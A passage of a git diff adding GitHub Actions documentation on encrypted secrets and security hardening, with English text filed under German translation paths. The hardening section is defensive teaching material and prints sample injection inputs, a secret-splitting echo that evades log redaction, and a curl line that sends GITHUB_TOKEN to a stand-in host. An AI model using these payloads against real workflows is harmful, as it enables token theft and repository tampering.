+  - name: Hello world action
+    with: # Set the secret as an input
+      super_secret: ${{ secrets.SuperSecret }}
+    env: # Or as an environment variable
+      super_secret: ${{ secrets.SuperSecret }}
+```
+{% endraw %}
+
+Secrets cannot be directly referenced in `if:` conditionals. Instead, consider setting secrets as job-level environment variables, then referencing the environment variables to conditionally run steps in the job. For more information, see "[Context availability](/actions/learn-github-actions/contexts#context-availability)" and [`jobs.<job_id>.steps[*].if`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsif).
+
+If a secret has not been set, the return value of an expression referencing the secret (such as {% raw %}`${{ secrets.SuperSecret }}`{% endraw %} in the example) will be an empty string.
+
+Avoid passing secrets between processes from the command line, whenever possible. Command-line processes may be visible to other users (using the `ps` command) or captured by [security audit events](https://docs.microsoft.com/windows-server/identity/ad-ds/manage/component-updates/command-line-process-auditing). To help protect secrets, consider using environment variables, `STDIN`, or other mechanisms supported by the target process.
+
+If you must pass secrets within a command line, then enclose them within the proper quoting rules. Secrets often contain special characters that may unintentionally affect your shell. To escape these special characters, use quoting with your environment variables. For example:
+
+### Example using Bash
+
+{% raw %}
+```yaml
+steps:
+  - shell: bash
+    env:
+      SUPER_SECRET: ${{ secrets.SuperSecret }}
+    run: |
+      example-command "$SUPER_SECRET"
+```
+{% endraw %}
+
+### Example using PowerShell
+
+{% raw %}
+```yaml
+steps:
+  - shell: pwsh
+    env:
+      SUPER_SECRET: ${{ secrets.SuperSecret }}
+    run: |
+      example-command "$env:SUPER_SECRET"
+```
+{% endraw %}
+
+### Example using Cmd.exe
+
+{% raw %}
+```yaml
+steps:
+  - shell: cmd
+    env:
+      SUPER_SECRET: ${{ secrets.SuperSecret }}
+    run: |
+      example-command "%SUPER_SECRET%"
+```
+{% endraw %}
+
+## Limits for secrets
+
+You can store up to 1,000 organization secrets, 100 repository secrets, and 100 environment secrets.
+
+A workflow created in a repository can access the following number of secrets:
+
+* All 100 repository secrets.
+* If the repository is assigned access to more than 100 organization secrets, the workflow can only use the first 100 organization secrets (sorted alphabetically by secret name).
+* All 100 environment secrets.
+
+Secrets are limited to 64 KB in size. To store larger secrets, see the "[Storing large secrets](#storing-large-secrets)" workaround below.
+
+### Storing large secrets
+
+To use secrets that are larger than 64 KB, you can use a workaround to store encrypted secrets in your repository and save the decryption passphrase as a secret on {% data variables.product.prodname_dotcom %}. For example, you can use `gpg` to encrypt a file containing your secret locally before checking the encrypted file in to your repository on {% data variables.product.prodname_dotcom %}. For more information, see the "[gpg manpage](https://www.gnupg.org/gph/de/manual/r1023.html)."
+
+{% warning %}
+
+**Warning**: Be careful that your secrets do not get printed when your workflow runs. When using this workaround, {% data variables.product.prodname_dotcom %} does not redact secrets that are printed in logs.
+
+{% endwarning %}
+
+1. Run the following command from your terminal to encrypt the file containing your secret using `gpg` and the AES256 cipher algorithm. In this example, `my_secret.json` is the file containing the secret.
+
+   ```bash
+   gpg --symmetric --cipher-algo AES256 my_secret.json
+   ```
+
+1. You will be prompted to enter a passphrase. Remember the passphrase, because you'll need to create a new secret on {% data variables.product.prodname_dotcom %} that uses the passphrase as the value.
+
+1. Create a new secret that contains the passphrase. For example, create a new secret with the name `LARGE_SECRET_PASSPHRASE` and set the value of the secret to the passphrase you used in the step above.
+
+1. Copy your encrypted file to a path in your repository and commit it. In this example, the encrypted file is `my_secret.json.gpg`.
+
+   {% warning %}
+
+   **Warning**: Make sure to copy the encrypted `my_secret.json.gpg` file ending with the `.gpg` file extension, and **not** the unencrypted `my_secret.json` file.
+
+   {% endwarning %}
+
+   ```bash
+   git add my_secret.json.gpg
+   git commit -m "Add new encrypted secret JSON file"
+   ```
+
+1. Create a shell script in your repository to decrypt the secret file. In this example, the script is named `decrypt_secret.sh`.
+
+   ```bash
+   #!/bin/sh
+
+   # Decrypt the file
+   mkdir $HOME/secrets
+   # --batch to prevent interactive command
+   # --yes to assume "yes" for questions
+   gpg --quiet --batch --yes --decrypt --passphrase="$LARGE_SECRET_PASSPHRASE" \
+   --output $HOME/secrets/my_secret.json my_secret.json.gpg
+   ```
+
+1. Ensure your shell script is executable before checking it in to your repository.
+
+   ```bash
+   chmod +x decrypt_secret.sh
+   git add decrypt_secret.sh
+   git commit -m "Add new decryption script"
+   git push
+   ```
+
+1. In your {% data variables.product.prodname_actions %} workflow, use a `step` to call the shell script and decrypt the secret. To have a copy of your repository in the environment that your workflow runs in, you'll need to use the [`actions/checkout`](https://github.com/actions/checkout) action. Reference your shell script using the `run` command relative to the root of your repository.
+
+   ```yaml
+   name: Workflows with large secrets
+ 
+   on: push
+ 
+   jobs:
+     my-job:
+       name: My Job
+       runs-on: ubuntu-latest
+       steps:
+         - uses: {% data reusables.actions.action-checkout %}
+         - name: Decrypt large secret
+           run: ./decrypt_secret.sh
+           env:
+             LARGE_SECRET_PASSPHRASE: {% raw %}${{ secrets.LARGE_SECRET_PASSPHRASE }}{% endraw %}
+         # This command is just an example to show your secret being printed
+         # Ensure you remove any print statements of your secrets. GitHub does
+         # not hide secrets that use this workaround.
+         - name: Test printing your secret (Remove this step in production)
+           run: cat $HOME/secrets/my_secret.json
+   ```
+
+## Storing Base64 binary blobs as secrets
+
+You can use Base64 encoding to store small binary blobs as secrets. You can then reference the secret in your workflow and decode it for use on the runner. For the size limits, see ["Limits for secrets"](/actions/security-guides/encrypted-secrets#limits-for-secrets).
+
+{% note %}
+
+**Note**: Note that Base64 only converts binary to text, and is not a substitute for actual encryption.
+
+{% endnote %}
+
+1. Use `base64` to encode your file into a Base64 string. For example:
+
+   ```
+   $ base64 -i cert.der -o cert.base64
+   ```
+
+1. Create a secret that contains the Base64 string. For example:
+
+   ```
+   $ gh secret set CERTIFICATE_BASE64 < cert.base64
+   ✓ Set secret CERTIFICATE_BASE64 for octocat/octorepo
+   ```
+
+1. To access the Base64 string from your runner, pipe the secret to `base64 --decode`.  For example: 
+
+   ```yaml
+   name: Retrieve Base64 secret
+   on:
+     push:
+       branches: [ octo-branch ]
+   jobs:
+     decode-secret:
+       runs-on: ubuntu-latest
+       steps:
+         - uses: {% data reusables.actions.action-checkout %}
+         - name: Retrieve the secret and decode it to a file
+           env:
+             {% raw %}CERTIFICATE_BASE64: ${{ secrets.CERTIFICATE_BASE64 }}{% endraw %}
+           run: |
+             echo $CERTIFICATE_BASE64 | base64 --decode > cert.der
+         - name: Show certificate information
+           run: |
+             openssl x509 -in cert.der -inform DER -text -noout
+   ```
diff --git a/translations/de-DE/content/actions/security-guides/index.md b/translations/de-DE/content/actions/security-guides/index.md
new file mode 100644
index 0000000000..0c565b3707
--- /dev/null
+++ b/translations/de-DE/content/actions/security-guides/index.md
@@ -0,0 +1,21 @@
+---
+title: Sicherheitsleitlinien
+shortTitle: Security guides
+intro: 'Sicherheitshärtung und bewährte Methoden für {% data variables.product.prodname_actions %}.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /security-hardening-for-github-actions
+  - /encrypted-secrets
+  - /automatic-token-authentication
+ms.openlocfilehash: 3deac3e698cec0e3008defd38d681a1ffa30a5d2
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147884923'
+---
+
diff --git a/translations/de-DE/content/actions/security-guides/security-hardening-for-github-actions.md b/translations/de-DE/content/actions/security-guides/security-hardening-for-github-actions.md
new file mode 100644
index 0000000000..f536b5df5b
--- /dev/null
+++ b/translations/de-DE/content/actions/security-guides/security-hardening-for-github-actions.md
@@ -0,0 +1,390 @@
+---
+title: Security hardening for GitHub Actions
+shortTitle: Security hardening
+intro: 'Good security practices for using {% data variables.product.prodname_actions %} features.'
+redirect_from:
+  - /actions/getting-started-with-github-actions/security-hardening-for-github-actions
+  - /actions/learn-github-actions/security-hardening-for-github-actions
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Security
+miniTocMaxHeadingLevel: 3
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Overview
+
+This guide explains how to configure security hardening for certain {% data variables.product.prodname_actions %} features. If the {% data variables.product.prodname_actions %} concepts are unfamiliar, see "[Core concepts for GitHub Actions](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)."
+
+## Using secrets
+
+Sensitive values should never be stored as plaintext in workflow files, but rather as secrets. [Secrets](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets) can be configured at the organization, repository, or environment level, and allow you to store sensitive information in {% data variables.product.product_name %}.
+
+Secrets use [Libsodium sealed boxes](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes), so that they are encrypted before reaching {% data variables.product.product_name %}. This occurs when the secret is submitted [using the UI](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets#creating-encrypted-secrets-for-a-repository) or through the [REST API](/rest/reference/actions#secrets). This client-side encryption helps minimize the risks related to accidental logging (for example, exception logs and request logs, among others) within {% data variables.product.product_name %}'s infrastructure. Once the secret is uploaded, {% data variables.product.product_name %} is then able to decrypt it so that it can be injected into the workflow runtime.
+
+To help prevent accidental disclosure, {% data variables.product.product_name %} uses a mechanism that attempts to redact any secrets that appear in run logs. This redaction looks for exact matches of any configured secrets, as well as common encodings of the values, such as Base64. However, because there are multiple ways a secret value can be transformed, this redaction is not guaranteed. As a result, there are certain proactive steps and good practices you should follow to help ensure secrets are redacted, and to limit other risks associated with secrets:
+
+- **Never use structured data as a secret**
+    - Structured data can cause secret redaction within logs to fail, because redaction largely relies on finding an exact match for the specific secret value. For example, do not use a blob of JSON, XML, or YAML (or similar) to encapsulate a secret value, as this significantly reduces the probability the secrets will be properly redacted. Instead, create individual secrets for each sensitive value.
+- **Register all secrets used within workflows**
+    - If a secret is used to generate another sensitive value within a workflow, that generated value should be formally [registered as a secret](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret), so that it will be redacted if it ever appears in the logs. For example, if using a private key to generate a signed JWT to access a web API, be sure to register that JWT as a secret or else it won’t be redacted if it ever enters the log output.
+    - Registering secrets applies to any sort of transformation/encoding as well. If your secret is transformed in some way (such as Base64 or URL-encoded), be sure to register the new value as a secret too.
+- **Audit how secrets are handled**
+    - Audit how secrets are used, to help ensure they’re being handled as expected. You can do this by reviewing the source code of the repository executing the workflow, and checking any actions used in the workflow. For example, check that they’re not sent to unintended hosts, or explicitly being printed to log output.
+    - View the run logs for your workflow after testing valid/invalid inputs, and check that secrets are properly redacted, or not shown. It's not always obvious how a command or tool you’re invoking will send errors to `STDOUT` and `STDERR`, and secrets might subsequently end up in error logs. As a result, it is good practice to manually review the workflow logs after testing valid and invalid inputs.
+- **Use credentials that are minimally scoped**
+    - Make sure the credentials being used within workflows have the least privileges required, and be mindful that any user with write access to your repository has read access to all secrets configured in your repository. 
+    - Actions can use the `GITHUB_TOKEN` by accessing it from the `github.token` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#github-context)." You should therefore make sure that the `GITHUB_TOKEN` is granted the minimum required permissions. It's good security practice to set the default permission for the `GITHUB_TOKEN` to read access only for repository contents. The permissions can then be increased, as required, for individual jobs within the workflow file. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)." 
+- **Audit and rotate registered secrets**
+    - Periodically review the registered secrets to confirm they are still required. Remove those that are no longer needed.
+    - Rotate secrets periodically to reduce the window of time during which a compromised secret is valid.
+- **Consider requiring review for access to secrets**
+    - You can use required reviewers to protect environment secrets. A workflow job cannot access environment secrets until approval is granted by a reviewer. For more information about storing secrets in environments or requiring reviews for environments, see "[Encrypted secrets](/actions/reference/encrypted-secrets)" and "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)."
+
+{% warning %}
+
+**Warning**: Any user with write access to your repository has read access to all secrets configured in your repository. Therefore, you should ensure that the credentials being used within workflows have the least privileges required.
+
+{% endwarning %}
+
+## Using `CODEOWNERS` to monitor changes
+
+You can use the `CODEOWNERS` feature to control how changes are made to your workflow files. For example, if all your workflow files are stored in `.github/workflows`, you can add this directory to the code owners list, so that any proposed changes to these files will first require approval from a designated reviewer.
+
+For more information, see "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)."
+
+## Understanding the risk of script injections
+
+When creating workflows, [custom actions](/actions/creating-actions/about-actions), and [composite actions](/actions/creating-actions/creating-a-composite-action) actions, you should always consider whether your code might execute untrusted input from attackers. This can occur when an attacker adds malicious commands and scripts to a context. When your workflow runs, those strings might be interpreted as code which is then executed on the runner.
+
+ Attackers can add their own malicious content to the [`github` context](/actions/reference/context-and-expression-syntax-for-github-actions#github-context), which should be treated as potentially untrusted input. These contexts typically end with `body`, `default_branch`, `email`, `head_ref`, `label`, `message`, `name`, `page_name`,`ref`, and `title`.  For example: `github.event.issue.title`, or `github.event.pull_request.body`.
+
+ You should ensure that these values do not flow directly into workflows, actions, API calls, or anywhere else where they could be interpreted as executable code. By adopting the same defensive programming posture you would use for any other privileged application code, you can help security harden your use of {% data variables.product.prodname_actions %}. For information on some of the steps an attacker could take, see ["Potential impact of a compromised runner](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)."
+
+In addition, there are other less obvious sources of potentially untrusted input, such as branch names and email addresses, which can be quite flexible in terms of their permitted content. For example, `zzz";echo${IFS}"hello";#` would be a valid branch name and would be a possible attack vector for a target repository.
+
+The following sections explain how you can help mitigate the risk of script injection.
+
+### Example of a script injection attack
+
+A script injection attack can occur directly within a workflow's inline script. In the following example, an action uses an expression to test the validity of a pull request title, but also adds the risk of script injection:
+
+{% raw %}
+```
+      - name: Check PR title
+        run: |
+          title="${{ github.event.pull_request.title }}"
+          if [[ $title =~ ^octocat ]]; then
+          echo "PR title starts with 'octocat'"
+          exit 0
+          else
+          echo "PR title did not start with 'octocat'"
+          exit 1
+          fi
+```
+{% endraw %}
+
+This example is vulnerable to script injection because the `run` command executes within a temporary shell script on the runner. Before the shell script is run, the expressions inside {% raw %}`${{ }}`{% endraw %} are evaluated and then substituted with the resulting values, which can make it vulnerable to shell command injection.
+
+To inject commands into this workflow, the attacker could create a pull request with a title of  `a"; ls $GITHUB_WORKSPACE"`:
+
+![Example of script injection in PR title](/assets/images/help/images/example-script-injection-pr-title.png)
+
+In this example, the `"` character is used to interrupt the {% raw %}`title="${{ github.event.pull_request.title }}"`{% endraw %} statement, allowing the `ls` command to be executed on the runner. You can see the output of the `ls` command in the log:
+
+![Example result of script injection](/assets/images/help/images/example-script-injection-result.png)
+
+## Good practices for mitigating script injection attacks
+
+There are a number of different approaches available to help you mitigate the risk of script injection:
+
+### Using an action instead of an inline script (recommended)
+
+The recommended approach is to create an action that processes the context value as an argument. This approach is not vulnerable to the injection attack, as the context value is not used to generate a shell script, but is instead passed to the action as an argument:
+
+{% raw %}
+```
+uses: fakeaction/checktitle@v3
+with:
+    title: ${{ github.event.pull_request.title }}
+```
+{% endraw %}
+
+### Using an intermediate environment variable
+
+For inline scripts, the preferred approach to handling untrusted input is to set the value of the expression to an intermediate environment variable.
+
+The following example uses Bash to process the `github.event.pull_request.title` value as an environment variable:
+
+{% raw %}
+```
+      - name: Check PR title
+        env:
+          TITLE: ${{ github.event.pull_request.title }}
+        run: |
+          if [[ "$TITLE" =~ ^octocat ]]; then
+          echo "PR title starts with 'octocat'"
+          exit 0
+          else
+          echo "PR title did not start with 'octocat'"
+          exit 1
+          fi
+```
+{% endraw %}
+
+In this example, the attempted script injection is unsuccessful:
+
+![Example of mitigated script injection](/assets/images/help/images/example-script-injection-mitigated.png)
+
+With this approach, the value of the {% raw %}`${{ github.event.issue.title }}`{% endraw %} expression is stored in memory and used as a variable, and doesn't interact with the script generation process. In addition, consider using double quote shell variables to avoid [word splitting](https://github.com/koalaman/shellcheck/wiki/SC2086), but this is [one of many](https://mywiki.wooledge.org/BashPitfalls) general recommendations for writing shell scripts, and is not specific to {% data variables.product.prodname_actions %}.
+
+{% ifversion fpt or ghec %}
+### Using starter workflows for code scanning
+
+{% data reusables.advanced-security.starter-workflows-beta %}
+{% data variables.product.prodname_code_scanning_capc %} allows you to find security vulnerabilities before they reach production. {% data variables.product.product_name %} provides starter workflows for {% data variables.product.prodname_code_scanning %}. You can use these suggested workflows to construct your {% data variables.product.prodname_code_scanning %} workflows, instead of starting from scratch. {% data variables.product.company_short%}'s workflow, the {% data variables.code-scanning.codeql_workflow %}, is powered by {% data variables.product.prodname_codeql %}. There are also third-party starter workflows available.
+
+For more information, see "[About {% data variables.product.prodname_code_scanning %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning)" and "[Setting up {% data variables.product.prodname_code_scanning %} using starter workflows](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-starter-workflows)."
+
+{% endif %}
+
+### Restricting permissions for tokens
+
+To help mitigate the risk of an exposed token, consider restricting the assigned permissions. For more information, see "[Modifying the permissions for the GITHUB_TOKEN](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token)."
+
+{% ifversion fpt or ghec or ghes > 3.4 %}
+
+## Using OpenID Connect to access cloud resources
+
+{% data reusables.actions.about-oidc-short-overview %}
+
+{% endif %}
+
+## Using third-party actions
+
+The individual jobs in a workflow can interact with (and compromise) other jobs. For example, a job querying the environment variables used by a later job, writing files to a shared directory that a later job processes, or even more directly by interacting with the Docker socket and inspecting other running containers and executing commands in them.
+
+This means that a compromise of a single action within a workflow can be very significant, as that compromised action would have access to all secrets configured on your repository, and may be able to use the `GITHUB_TOKEN` to write to the repository. Consequently, there is significant risk in sourcing actions from third-party repositories on {% data variables.product.prodname_dotcom %}. For information on some of the steps an attacker could take, see ["Potential impact of a compromised runner](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)."
+
+You can help mitigate this risk by following these good practices:
+
+* **Pin actions to a full length commit SHA**
+
+  Pinning an action to a full length commit SHA is currently the only way to use an action as an immutable release. Pinning to a particular SHA helps mitigate the risk of a bad actor adding a backdoor to the action's repository, as they would need to generate a SHA-1 collision for a valid Git object payload.
+
+* **Audit the source code of the action**
+
+  Ensure that the action is handling the content of your repository and secrets as expected. For example, check that secrets are not sent to unintended hosts, or are not inadvertently logged.
+
+* **Pin actions to a tag only if you trust the creator**
+
+  Although pinning to a commit SHA is the most secure option, specifying a tag is more convenient and is widely used. If you’d like to specify a tag, then be sure that you trust the action's creators. The ‘Verified creator’ badge on {% data variables.product.prodname_marketplace %} is a useful signal, as it indicates that the action was written by a team whose identity has been verified by {% data variables.product.prodname_dotcom %}. Note that there is risk to this approach even if you trust the author, because a tag can be moved or deleted if a bad actor gains access to the repository storing the action.
+
+{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}
+## Reusing third-party workflows
+
+The same principles described above for using third-party actions also apply to using third-party workflows. You can help mitigate the risks associated with reusing workflows by following the same good practices outlined above. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."
+{% endif %}
+
+{% ifversion internal-actions %}
+## Allowing workflows to access internal repositories
+
+{% data reusables.actions.outside-collaborators-internal-actions %} For more information, see "[Sharing actions and workflows with your enterprise](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise)."
+{% endif %}
+
+{% ifversion allow-actions-to-approve-pr %}
+## Preventing {% data variables.product.prodname_actions %} from {% ifversion allow-actions-to-approve-pr-with-ent-repo %}creating or {% endif %}approving pull requests
+
+{% data reusables.actions.workflow-pr-approval-permissions-intro %} Allowing workflows, or any other automation, to {% ifversion allow-actions-to-approve-pr-with-ent-repo %}create or {% endif %}approve pull requests could be a security risk if the pull request is merged without proper oversight.
+
+For more information on how to configure this setting, see {% ifversion allow-actions-to-approve-pr-with-ent-repo %}{% ifversion ghes or ghec or ghae %}"[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#preventing-github-actions-from-creating-or-approving-pull-requests)",{% endif %}{% endif %} "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/github/setting-up-and-managing-organizations-and-teams/disabling-or-limiting-github-actions-for-your-organization#preventing-github-actions-from-{% ifversion allow-actions-to-approve-pr-with-ent-repo %}creating-or-{% endif %}approving-pull-requests)"{% ifversion allow-actions-to-approve-pr-with-ent-repo %}, and "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#preventing-github-actions-from-creating-or-approving-pull-requests)"{% endif %}.
+{% endif %}
+
+## Using OpenSSF Scorecards to secure workflows
+
+[Scorecards](https://github.com/ossf/scorecard) is an automated security tool that flags risky supply chain practices. You can use the [Scorecards action](https://github.com/marketplace/actions/ossf-scorecard-action) and [starter workflow](https://github.com/actions/starter-workflows) to follow best security practices. Once configured, the Scorecards action runs automatically on repository changes, and alerts developers about risky supply chain practices using the built-in code scanning experience. The Scorecards project runs a number of checks, including script injection attacks, token permissions, and pinned actions.
+
+## Potential impact of a compromised runner
+
+These sections consider some of the steps an attacker can take if they're able to run malicious commands on a {% data variables.product.prodname_actions %} runner.
+
+{% note %}
+
+**Note:** {% data variables.product.prodname_dotcom %}-hosted runners do not scan for malicious code downloaded by a user during their job, such as a compromised third party library.
+
+{% endnote %}
+
+### Accessing secrets
+
+Workflows triggered using the `pull_request` event have read-only permissions and have no access to secrets. However, these permissions differ for various event triggers such as `issue_comment`, `issues` and `push`, where the attacker could attempt to steal repository secrets or use the write permission of the job's [`GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token).
+
+- If the secret or token is set to an environment variable, it can be directly accessed through the environment using `printenv`.
+- If the secret is used directly in an expression, the generated shell script is stored on-disk and is accessible.
+- For a custom action, the risk can vary depending on how a program is using the secret it obtained from the argument:
+
+  {% raw %}
+  ```
+  uses: fakeaction/publish@v3
+  with:
+      key: ${{ secrets.PUBLISH_KEY }}
+  ```
+  {% endraw %}
+
+Although {% data variables.product.prodname_actions %} scrubs secrets from memory that are not referenced in the workflow (or an included action), the `GITHUB_TOKEN` and any referenced secrets can be harvested by a determined attacker.
+
+### Exfiltrating data from a runner
+
+An attacker can exfiltrate any stolen secrets or other data from the runner. To help prevent accidental secret disclosure, {% data variables.product.prodname_actions %} [automatically redact secrets printed to the log](/actions/reference/encrypted-secrets#accessing-your-secrets), but this is not a true security boundary because secrets can be intentionally sent to the log. For example, obfuscated secrets can be exfiltrated using `echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};`. In addition, since the attacker may run arbitrary commands, they could use HTTP requests to send secrets or other repository data to an external server.
+
+### Stealing the job's `GITHUB_TOKEN`
+
+It is possible for an attacker to steal a job's `GITHUB_TOKEN`. The {% data variables.product.prodname_actions %} runner automatically receives a generated `GITHUB_TOKEN` with permissions that are limited to just the repository that contains the workflow, and the token expires after the job has completed. Once expired, the token is no longer useful to an attacker. To work around this limitation, they can automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, for example: `a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#`.
+
+### Modifying the contents of a repository
+
+The attacker server can use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API to [modify repository content](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token), including releases, if the assigned permissions of `GITHUB_TOKEN` [are not restricted](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token).
+
+## Considering cross-repository access
+
+{% data variables.product.prodname_actions %} is intentionally scoped for a single repository at a time. The `GITHUB_TOKEN` grants the same level of access as a write-access user, because any write-access user can access this token by creating or modifying a workflow file, elevating the permissions of the `GITHUB_TOKEN` if necessary. Users have specific permissions for each repository, so allowing the `GITHUB_TOKEN` for one repository to grant access to another would impact the {% data variables.product.prodname_dotcom %} permission model if not implemented carefully. Similarly, caution must be taken when adding {% data variables.product.prodname_dotcom %} authentication tokens to a workflow, because this can also affect the {% data variables.product.prodname_dotcom %} permission model by inadvertently granting broad access to collaborators.
+
+We have [a plan on the {% data variables.product.prodname_dotcom %} roadmap](https://github.com/github/roadmap/issues/74) to support a flow that allows cross-repository access within {% data variables.product.product_name %}, but this is not yet a supported feature. Currently, the only way to perform privileged cross-repository interactions is to place a {% data variables.product.prodname_dotcom %} authentication token or SSH key as a secret within the workflow. Because many authentication token types do not allow for granular access to specific resources, there is significant risk in using the wrong token type, as it can grant much broader access than intended.
+
+This list describes the recommended approaches for accessing repository data within a workflow, in descending order of preference:
+
+1. **The `GITHUB_TOKEN`**
+    -  This token is intentionally scoped to the single repository that invoked the workflow, and can have the same level of access as a write-access user on the repository. The token is created before each job begins and expires when the job is finished. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)."
+    - The `GITHUB_TOKEN` should be used whenever possible.
+2. **Repository deploy key**
+    - Deploy keys are one of the only credential types that grant read or write access to a single repository, and can be used to interact with another repository within a workflow. For more information, see "[Managing deploy keys](/developers/overview/managing-deploy-keys#deploy-keys)."
+    - Note that deploy keys can only clone and push to the repository using Git, and cannot be used to interact with the REST or GraphQL API, so they may not be appropriate for your requirements.
+3. **{% data variables.product.prodname_github_app %} tokens**
+    - {% data variables.product.prodname_github_apps %} can be installed on select repositories, and even have granular permissions on the resources within them. You could create a {% data variables.product.prodname_github_app %} internal to your organization, install it on the repositories you need access to within your workflow, and authenticate as the installation within your workflow to access those repositories.
+4. **{% data variables.product.pat_generic %}s**
+    - You should never use a {% data variables.product.pat_v1 %}. These tokens grant access to all repositories within the organizations that you have access to, as well as all personal repositories in your personal account. This indirectly grants broad access to all write-access users of the repository the workflow is in.
+    - If you do use a {% data variables.product.pat_generic %}, you should never use a {% data variables.product.pat_generic %} from your own account. If you later leave an organization, workflows using this token will immediately break, and debugging this issue can be challenging. Instead, you should use a {% ifversion pat-v2%}{% data variables.product.pat_v2 %}s{% else %}{% data variables.product.pat_generic %}s{% endif %} for a new account that belongs to your organization and that is only granted access to the specific repositories that are needed for the workflow. Note that this approach is not scalable and should be avoided in favor of alternatives, such as deploy keys.
+5. **SSH keys on a personal account**
+    - Workflows should never use the SSH keys on a personal account. Similar to {% data variables.product.pat_v1_plural %}, they grant read/write permissions to all of your personal repositories as well as all the repositories you have access to through organization membership.  This indirectly grants broad access to all write-access users of the repository the workflow is in. If you're intending to use an SSH key because you only need to perform repository clones or pushes, and do not need to interact with public APIs, then you should use individual deploy keys instead.
+
+## Hardening for self-hosted runners
+
+{% ifversion fpt or ghec %}
+**{% data variables.product.prodname_dotcom %}-hosted** runners execute code within ephemeral and clean isolated virtual machines, meaning there is no way to persistently compromise this environment, or otherwise gain access to more information than was placed in this environment during the bootstrap process.
+{% endif %}
+
+{% ifversion fpt or ghec %}**Self-hosted**{% elsif ghes or ghae %}Self-hosted{% endif %} runners for {% data variables.product.product_name %} do not have guarantees around running in ephemeral clean virtual machines, and can be persistently compromised by untrusted code in a workflow.
+
+{% ifversion fpt or ghec %}As a result, self-hosted runners should almost [never be used for public repositories](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security) on {% data variables.product.product_name %}, because any user can open pull requests against the repository and compromise the environment. Similarly, be{% elsif ghes or ghae %}Be{% endif %} cautious when using self-hosted runners on private or internal repositories, as anyone who can fork the repository and open a pull request (generally those with read access to the repository) are able to compromise the self-hosted runner environment, including gaining access to secrets and the `GITHUB_TOKEN` which, depending on its settings, can grant write access to the repository. Although workflows can control access to environment secrets by using environments and required reviews, these workflows are not run in an isolated environment and are still susceptible to the same risks when run on a self-hosted runner.
+
+When a self-hosted runner is defined at the organization or enterprise level, {% data variables.product.product_name %} can schedule workflows from multiple repositories onto the same runner. Consequently, a security compromise of these environments can result in a wide impact. To help reduce the scope of a compromise, you can create boundaries by organizing your self-hosted runners into separate groups. You can restrict what {% ifversion restrict-groups-to-workflows %}workflows, {% endif %}organizations and repositories can access runner groups. For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)."
+
+You should also consider the environment of the self-hosted runner machines:
+- What sensitive information resides on the machine configured as a self-hosted runner? For example, private SSH keys, API access tokens, among others.
+- Does the machine have network access to sensitive services? For example, Azure or AWS metadata services. The amount of sensitive information in this environment should be kept to a minimum, and you should always be mindful that any user capable of invoking workflows has access to this environment.
+
+Some customers might attempt to partially mitigate these risks by implementing systems that automatically destroy the self-hosted runner after each job execution. However, this approach might not be as effective as intended, as there is no way to guarantee that a self-hosted runner only runs one job. Some jobs will use secrets as command-line arguments which can be seen by another job running on the same runner, such as `ps x -w`. This can lead to secret leakages.
+
+### Planning your management strategy for self-hosted runners
+
+A self-hosted runner can be added to various levels in your {% data variables.product.prodname_dotcom %} hierarchy: the enterprise, organization, or repository level. This placement determines who will be able to manage the runner:
+
+**Centralized management:**
+  - If you plan to have a centralized team own the self-hosted runners, then the recommendation is to add your runners at the highest mutual organization or enterprise level. This gives your team a single location to view and manage your runners.
+  - If you only have a single organization, then adding your runners at the organization level is effectively the same approach, but you might encounter difficulties if you add another organization in the future.
+
+**Decentralized management:**
+  - If each team will manage their own self-hosted runners, then the recommendation is to add the runners at the highest level of team ownership. For example, if each team owns their own organization, then it will be simplest if the runners are added at the organization level too.
+  - You could also add runners at the repository level, but this will add management overhead and also increases the numbers of runners you need, since you cannot share runners between repositories.
+
+{% ifversion fpt or ghec or ghes > 3.4 %}
+### Authenticating to your cloud provider
+
